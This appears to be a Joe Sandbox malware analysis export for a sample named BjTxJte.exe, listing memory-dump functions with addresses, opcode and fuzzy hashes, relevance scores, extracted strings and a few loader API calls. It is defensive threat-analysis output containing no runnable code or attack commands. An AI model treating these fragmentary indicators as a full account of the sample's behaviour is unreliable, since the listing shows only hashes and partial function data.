Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a64732e131f03b67262e729e963a71d10269e73b67e15d2739d536fc441b7b8
Instruction ID: fbee9e1ac33b439d8916cb6ebd63c4efb3d463846efec34052b6a9b0f93ac989
Opcode Fuzzy Hash: 1a64732e131f03b67262e729e963a71d10269e73b67e15d2739d536fc441b7b8
Instruction Fuzzy Hash: 1921A375F002169FDB10EF79E850AAEBBF5AB48710F148029E905EB390E734ED418B91

Uniqueness

Uniqueness Score: -1.00%

Function 06823ED0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5664c48246cc7d2ae76c8505ae9a97d69598c441b28cee3cb0834d2dced5cdbb
Instruction ID: 1dba868d9fdcefc2373f07f397ce65c1b70e936129ebed0dd8b883e6e35cce1d
Opcode Fuzzy Hash: 5664c48246cc7d2ae76c8505ae9a97d69598c441b28cee3cb0834d2dced5cdbb
Instruction Fuzzy Hash: 9D21A175F002169FDB50EF69E850AAEBBF1EB48710F10802AE905EB390E734EC418B90

Uniqueness

Uniqueness Score: -1.00%

Function 0114D3BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4120375886.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_114d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6dd0701a156b65e4ab80b20a5827292c04ba7365e1c4c7d69aaa380ab867e1d
Instruction ID: 4c9e22be2b7df4080a09386db19cca5e77c0d5b261c135dc31125a9421dd7b83
Opcode Fuzzy Hash: d6dd0701a156b65e4ab80b20a5827292c04ba7365e1c4c7d69aaa380ab867e1d
Instruction Fuzzy Hash: 192179B0504200DFCF09DF58E5C0B26BF61FB94714F24C56DD8094B692C336E446CA62

Uniqueness

Uniqueness Score: -1.00%

Function 0114D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4120375886.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_114d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b54e263085e825c2b26ea0f17eb21346f3999201a0a43c53a0c4823e7cbcd50a
Instruction ID: d2f44d07b17d6e0a5224897e207206656869b666c5bc7bae2843c44d229a3acb
Opcode Fuzzy Hash: b54e263085e825c2b26ea0f17eb21346f3999201a0a43c53a0c4823e7cbcd50a
Instruction Fuzzy Hash: AA217671200204DFCF09CF68E9C4B26BBA1FB98B14F20C5ADE8094B352C73AD447CA62

Uniqueness

Uniqueness Score: -1.00%

Function 0114D20C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4120375886.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_114d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ebfe96e5b45a8460fda58f98edc70887aa4588ba9956e93a1995752b3bbcc39
Instruction ID: 4c1119807a689c30b8923d034e7d3115820528df3180f0c1874cc96993ec45e1
Opcode Fuzzy Hash: 4ebfe96e5b45a8460fda58f98edc70887aa4588ba9956e93a1995752b3bbcc39
Instruction Fuzzy Hash: 36216871504244DFDF09DF98E5C4F2ABBA5FB94B34F20C669E8090B246C376D406CA62

Uniqueness

Uniqueness Score: -1.00%

Function 06824217 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb65aaa8fdbbce7a4217284ae66264c2583db393e3fb61a917fcef695d3f2cfa
Instruction ID: a1b2d8066d13067cd147f0211d11bb4059f05880c441c1134a00db87da532afe
Opcode Fuzzy Hash: eb65aaa8fdbbce7a4217284ae66264c2583db393e3fb61a917fcef695d3f2cfa
Instruction Fuzzy Hash: E201F170B101221FDB6496AEE81176EA7EBCBCE210F10843AE60AC7394DA61DC4383A1

Uniqueness

Uniqueness Score: -1.00%

Function 06823470 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63ffd2fe55b5859cca21f2bb7f063694c54da018f62a2c9884cfadac29750a1
Instruction ID: 52e573503eca8832a720003cce1cdd4d3f241737376bb236e149378c56f6a1ac
Opcode Fuzzy Hash: b63ffd2fe55b5859cca21f2bb7f063694c54da018f62a2c9884cfadac29750a1
Instruction Fuzzy Hash: 6811C131E0022A5FCB698A7898115EEF7B1AB89304F0045BAD546E7300DA35CA81CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 06823FD1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfaa74c73373f63e82d1a1c53d77b0c40dcacb0083749d2afbc4a96c2a103fda
Instruction ID: ee7074ae2db366f4f4b4260236dccd9d1b00f37f02d61afb75cdee41d20a9499
Opcode Fuzzy Hash: cfaa74c73373f63e82d1a1c53d77b0c40dcacb0083749d2afbc4a96c2a103fda
Instruction Fuzzy Hash: 43012632B0402A1FDF95A678EC10AEF77EA9BC9704F04447AD10AD7340EA65984387A1

Uniqueness

Uniqueness Score: -1.00%

Function 06823FE0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2a0515d0eec19aca8a64ff527043a97d8eb972f9833adca34b4d32d9dd3fd35
Instruction ID: 1fef1ab5d5837d42583cef35138f312e4f3771a8ef409be6c61716300e3f5ab1
Opcode Fuzzy Hash: e2a0515d0eec19aca8a64ff527043a97d8eb972f9833adca34b4d32d9dd3fd35
Instruction Fuzzy Hash: E011A532B001295FDF94E678D8146AF73FAEBC8710B00853AD50AEB344DE35DC4287A1

Uniqueness

Uniqueness Score: -1.00%

Function 0682F1C3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6fe5fd507ba99f8ef129f50e042b3fef80af765912aaadad7576d01f8254f6a
Instruction ID: a1cc02b1250d2d20a0473c47ba6204a542a5c0bcda383908be3ce992f65452e9
Opcode Fuzzy Hash: a6fe5fd507ba99f8ef129f50e042b3fef80af765912aaadad7576d01f8254f6a
Instruction Fuzzy Hash: 21014775B141214FCB26C67D985072FB7E6DBCB214F14846EE70ACB381DA21DC4383A6

Uniqueness

Uniqueness Score: -1.00%

Function 06823C98 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83ccd2fbf2a9b0d61dcbd06c2fd37cdb71e721843ed1fe74c0e4d3041a4cfd7c
Instruction ID: c0fed9dec42f7cdd7ce8663351559b8f1222a0f0b71c468db5542f3e4a4f2c7d
Opcode Fuzzy Hash: 83ccd2fbf2a9b0d61dcbd06c2fd37cdb71e721843ed1fe74c0e4d3041a4cfd7c
Instruction Fuzzy Hash: 2221E3B1D01269AFCB00DF9AD884ACEFFB4FB49320F10812AE558B7210C374A544CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0114D3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4120375886.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_114d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 9cd658497f1124d00012502761982821c98aa4846968fb80c117d3fe59f8e9e2
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: D011D075504240CFDF06CF54E5C4B55BF61FB44714F28C6AAD8494B656C33AE40ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 0114D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4120375886.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_114d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 646b60f3ccf01c8585af501e250b154b58bf893a4021273e9710d24862e3fa4c
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: ED11BB75504284CFDF16CF64D9C4B16BFA2FB88714F24C6AED8494B252C33AD44ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0114D207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4120375886.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_114d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 9bde9a155317350e19887b1b5227bc2f1b92f50a359be2f8dc5f18b169f3903d
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: 3E11DD76504284CFDF06CF54E5C4B16BFA1FB84624F24C6AAD8490B646C33AD40ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0682A31B Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c57d3dd654639c5b53b50f69d6914f3841f1624a3c2f0afaf33a399cb4bee4c
Instruction ID: dcd67d250f9a99d901fec93d5eacfbc5db9b219d11a80cce8e0139315e8cdf59
Opcode Fuzzy Hash: 7c57d3dd654639c5b53b50f69d6914f3841f1624a3c2f0afaf33a399cb4bee4c
Instruction Fuzzy Hash: 3F01D431B141221FDB65E679D85471EBBD6EF8B214F14C46EE20ACB351DA21EC428391

Uniqueness

Uniqueness Score: -1.00%

Function 06823CA0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c273fe4af046ec62122be21c99fcb8296f3111a8c0a949844d21ac2be905ab72
Instruction ID: cf03c3a7a662260576104ad22b93dcff476bb2b45e16b66dfe6791f349250695
Opcode Fuzzy Hash: c273fe4af046ec62122be21c99fcb8296f3111a8c0a949844d21ac2be905ab72
Instruction Fuzzy Hash: 6C11B3B5D01259AFCB00DF9AD884ADEFFB4FB49314F10852AE518B7240C375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06824228 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2f529f9edb0d46081e57edf62f594fb1bef874455b856ac9de7afde81f1898b
Instruction ID: ba345e5af33593fa19cf05e76ed48e5be34034cac4c63965dd2e02179b3cbcfa
Opcode Fuzzy Hash: b2f529f9edb0d46081e57edf62f594fb1bef874455b856ac9de7afde81f1898b
Instruction Fuzzy Hash: D1016D71B200221BDB6496AEE45471FA2DBDBC9614F208439E60EC7344DEA1DC4243A5

Uniqueness

Uniqueness Score: -1.00%

Function 0682F1D0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 874228f9f37e22371d92a1796af14f03079c29113f1a7dea0a3707a5c6d725cf
Instruction ID: 95abef9f2bae6edd13ec91a6d4976d4df61f4f36da4e64571dbc9087cb5c176e
Opcode Fuzzy Hash: 874228f9f37e22371d92a1796af14f03079c29113f1a7dea0a3707a5c6d725cf
Instruction Fuzzy Hash: 3A01A475B101215BCB65967DE85472F62EAE7CE614F10843DE70BC7344DE21DC438395

Uniqueness

Uniqueness Score: -1.00%

Function 0682A328 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6a14a3ad1de0820b882541f16cb0baaec8cee22f5d4ad099c162284df0e6f
Instruction ID: 3b61944f75be0189441f58dc116ee95721be54bbe41f830c2447ac73351b660c
Opcode Fuzzy Hash: 0ec6a14a3ad1de0820b882541f16cb0baaec8cee22f5d4ad099c162284df0e6f
Instruction Fuzzy Hash: F001A431B101221FDB68EA6DE85471EB7DAEF8A714F508439E60ECB354EE21EC424385

Uniqueness

Uniqueness Score: -1.00%

Function 0682C7F0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 393dc19c96131451f9fdc5a7feb91e3baa1c1095dc9e8746ee36aa84fc7b4bae
Instruction ID: fa38a09ffe0a8dddf11cab3fc40a1d1caf1793582c3bbe71581bfdac5786a4f0
Opcode Fuzzy Hash: 393dc19c96131451f9fdc5a7feb91e3baa1c1095dc9e8746ee36aa84fc7b4bae
Instruction Fuzzy Hash: A8F0F032B212795BCBA45A69DC019AEB726E780668F104069EA01F7245DA62A840C6C0

Uniqueness

Uniqueness Score: -1.00%

Function 06826489 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c96046b6ae4d5949f7f3a556df8b72d647e2e2deb62c2c4b37b7548bacebc615
Instruction ID: 00bbf49b07c84ad9693d4dd25739ba5324cb62b5716876445ff4f61c0b89ae0a
Opcode Fuzzy Hash: c96046b6ae4d5949f7f3a556df8b72d647e2e2deb62c2c4b37b7548bacebc615
Instruction Fuzzy Hash: 1DF0E571E042199FCB60CBA8C85135FBB79EB82208F2585D5C148DB202E236EDC687C1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 068276B0 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 06827C25
$^q, xrefs: 068277FA
$^q, xrefs: 06827B86
$^q, xrefs: 06827C31
$^q, xrefs: 06827C3B
$^q, xrefs: 06827806
$^q, xrefs: 068277C9
$^q, xrefs: 06827B92
$^q, xrefs: 068277D5
$^q, xrefs: 06827C47

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: 5dcf119effd84608752cbadd7129340f1405e2e1192eade3193500f9b466ada4
Instruction ID: 67776204d13be6e19186beb1303b6e967495ad80b064bc52179a5d78178bed7a
Opcode Fuzzy Hash: 5dcf119effd84608752cbadd7129340f1405e2e1192eade3193500f9b466ada4
Instruction Fuzzy Hash: E0120B30E0022A8FDB68DF65C954AAEB7B2BF84704F208569D50AEB355DB309D85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0682A950 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 0682AA46
$^q, xrefs: 0682AB0E
$^q, xrefs: 0682AACC
$^q, xrefs: 0682AAA1
$^q, xrefs: 0682AA52
$^q, xrefs: 0682AAAD
$^q, xrefs: 0682AAD8
$^q, xrefs: 0682AB02

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 153e9464164bb87f281a6d77883fe4b63ed4adb1e5c261be09b9421aa19f1b7b
Instruction ID: eb134e4d50995ba43b622f366fbb56dd4e6bcdfff7e68034055e976ead8b7a9f
Opcode Fuzzy Hash: 153e9464164bb87f281a6d77883fe4b63ed4adb1e5c261be09b9421aa19f1b7b
Instruction Fuzzy Hash: ED915D30E1021A9FDB68EF65D994B6EBBF2BF44704F108529E502EB358DB359C85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 068270B0 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 0682754C
$^q, xrefs: 068275B8
$^q, xrefs: 068275C4
.5vq, xrefs: 0682710B
$^q, xrefs: 06827392
$^q, xrefs: 068273EC
$^q, xrefs: 068273F8

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: bd92aecc6eb6118efd2c61f1bc9190910c50640d0c7a1dc9d90bfb7a92ce38fc
Instruction ID: ff1cfde0287ef444e8a99f3ddeaccd299b69b5f496e127791e0c447044f0af5a
Opcode Fuzzy Hash: bd92aecc6eb6118efd2c61f1bc9190910c50640d0c7a1dc9d90bfb7a92ce38fc
Instruction Fuzzy Hash: 7DF14030A1021ACFDB59EF69D594A6EBBB3FF84304F208529D5059B369DB31EC86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0682BA30 Relevance: 7.7, Strings: 6, Instructions: 197COMMON

Download Yara Rule

Strings

$^q, xrefs: 0682BBD5
$^q, xrefs: 0682BC31
$^q, xrefs: 0682BBFD
$^q, xrefs: 0682BBC9
$^q, xrefs: 0682BC09
$^q, xrefs: 0682BC3D

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 9d46cc3ac83c066098e2d3dded7f825145ad71047938eb6e03889681a1c5a2ae
Instruction ID: 980274da0904bb49fa3fd8c0f1ef8a15eccc45216e6a093138167eaf96402bc0
Opcode Fuzzy Hash: 9d46cc3ac83c066098e2d3dded7f825145ad71047938eb6e03889681a1c5a2ae
Instruction Fuzzy Hash: 5371AF70E0122A8FDB68DF68D58466EB7E2FF84708B108529D406EB358DB71DD86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 068283E8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 068286A7
$^q, xrefs: 06828642
$^q, xrefs: 0682864E
$^q, xrefs: 068286B3

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 20ede931315166801535f8fbafd0c00f0f51e1fa1f15931ac2012085493e5f64
Instruction ID: 3a075cbe327aa384fdaa95344632815156e70ef90cf7bc461627c99f9a97e1bb
Opcode Fuzzy Hash: 20ede931315166801535f8fbafd0c00f0f51e1fa1f15931ac2012085493e5f64
Instruction Fuzzy Hash: 5CB15B70A1021A8FDF68EB68D58466EB7B3FF84304F248829D505DB359DB74DC8ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 06828800 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR^q, xrefs: 06828942
$^q, xrefs: 0682888B
LR^q, xrefs: 068288F3
$^q, xrefs: 0682887F

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: 519c440ee6691afaf204b788fa2398c9124a5feda4b9af36171018faff01cd7b
Instruction ID: 8a253ddc96e8370d442c8ab918219b84956b99494d0c947f826da766bcfc6cd9
Opcode Fuzzy Hash: 519c440ee6691afaf204b788fa2398c9124a5feda4b9af36171018faff01cd7b
Instruction Fuzzy Hash: D551A071B102168FDF58EB28C990A6EB7E2FB84304F148569D516DB399DB30EC88C795

Uniqueness

Uniqueness Score: -1.00%

Function 0682ACDB Relevance: 5.2, Strings: 4, Instructions: 165COMMON

Download Yara Rule

Strings

$^q, xrefs: 0682AE8B
$^q, xrefs: 0682AE5C
$^q, xrefs: 0682AE09
$^q, xrefs: 0682AEB4

Memory Dump Source

Source File: 00000013.00000002.4170654310.0000000006820000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6820000_BjTxJte.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 5301eef2c7e324ed7f70d4a5d863ecf02d44bf2dc1ad0df0850e43effb34a78f
Instruction ID: c590f2b6dd2aebfffc34dcf860ab9146e3431af549ca33bebd4cdd0d7b033fc9
Opcode Fuzzy Hash: 5301eef2c7e324ed7f70d4a5d863ecf02d44bf2dc1ad0df0850e43effb34a78f
Instruction Fuzzy Hash: B151A534E102168FDF69DB64D980AAEB7B2EF84311F14452AD905DB359DB31EC86CB90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjTxJte.exePID: 7492, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	3

Executed Functions

Function 012ECEA8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,012EDDC1,00000800,00000000,00000000), ref: 012EDFB2

Memory Dump Source

Source File: 00000014.00000002.1930942407.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12e0000_BjTxJte.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2cac5503ae5500777185259a39f18ae54990f6efc44a9ae47a952b00e53d0bf4
Instruction ID: fa1e633721c2c502d74d0b93327b8bb569beec61b0023f3588a93698dd1d2609
Opcode Fuzzy Hash: 2cac5503ae5500777185259a39f18ae54990f6efc44a9ae47a952b00e53d0bf4
Instruction Fuzzy Hash: E01123B6D003498FDB10CF9AC448ADEFBF4EB88314F10842AE919A7250C3B5A544CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 012EDCE0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 012EDD46

Memory Dump Source

Source File: 00000014.00000002.1930942407.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12e0000_BjTxJte.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b02946dfab19e47b55183ea0efee2ee836f4b961dd55b612511cf294478a9e3b
Instruction ID: ba477e504879743d43de974c1ddf90a5b5146a3d71ebd17fb5fd6a2b4d7c6861
Opcode Fuzzy Hash: b02946dfab19e47b55183ea0efee2ee836f4b961dd55b612511cf294478a9e3b
Instruction Fuzzy Hash: CF110FB6C002498FDB10DF9AD448ADEFBF4AF88324F10842AD518A7210C37AA545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0100D06C Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1930276681.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_100d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ce5600fb3919d5de26e62f4550cd010f7dbfd3710edd133dd46bcb4ab76e187
Instruction ID: 1c7c4ce7b6339bde266c346ce3a9b433c7105e79234584f7328e8fc1447fde41
Opcode Fuzzy Hash: 0ce5600fb3919d5de26e62f4550cd010f7dbfd3710edd133dd46bcb4ab76e187
Instruction Fuzzy Hash: C3213871100200EFEB06DFD4D9C0B2ABFA5FB88314F20C1A9E9490B296C73AC416CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0101D2F0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1930365303.000000000101D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0101D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_101d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aeca75726881bbfd87027253716fcc2b934cdf25d6bcf87c79eea9cf7add713
Instruction ID: 40a56f2f7e010db8054932ba07242a64d5016efb8148d77327a744d5a6d39e6f
Opcode Fuzzy Hash: 9aeca75726881bbfd87027253716fcc2b934cdf25d6bcf87c79eea9cf7add713
Instruction Fuzzy Hash: AB2107B1604204DFDB05DF58D5C8B2ABBA5FB84314F20C5ADD8894B25AC37ED446CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0101D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1930365303.000000000101D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0101D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_101d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
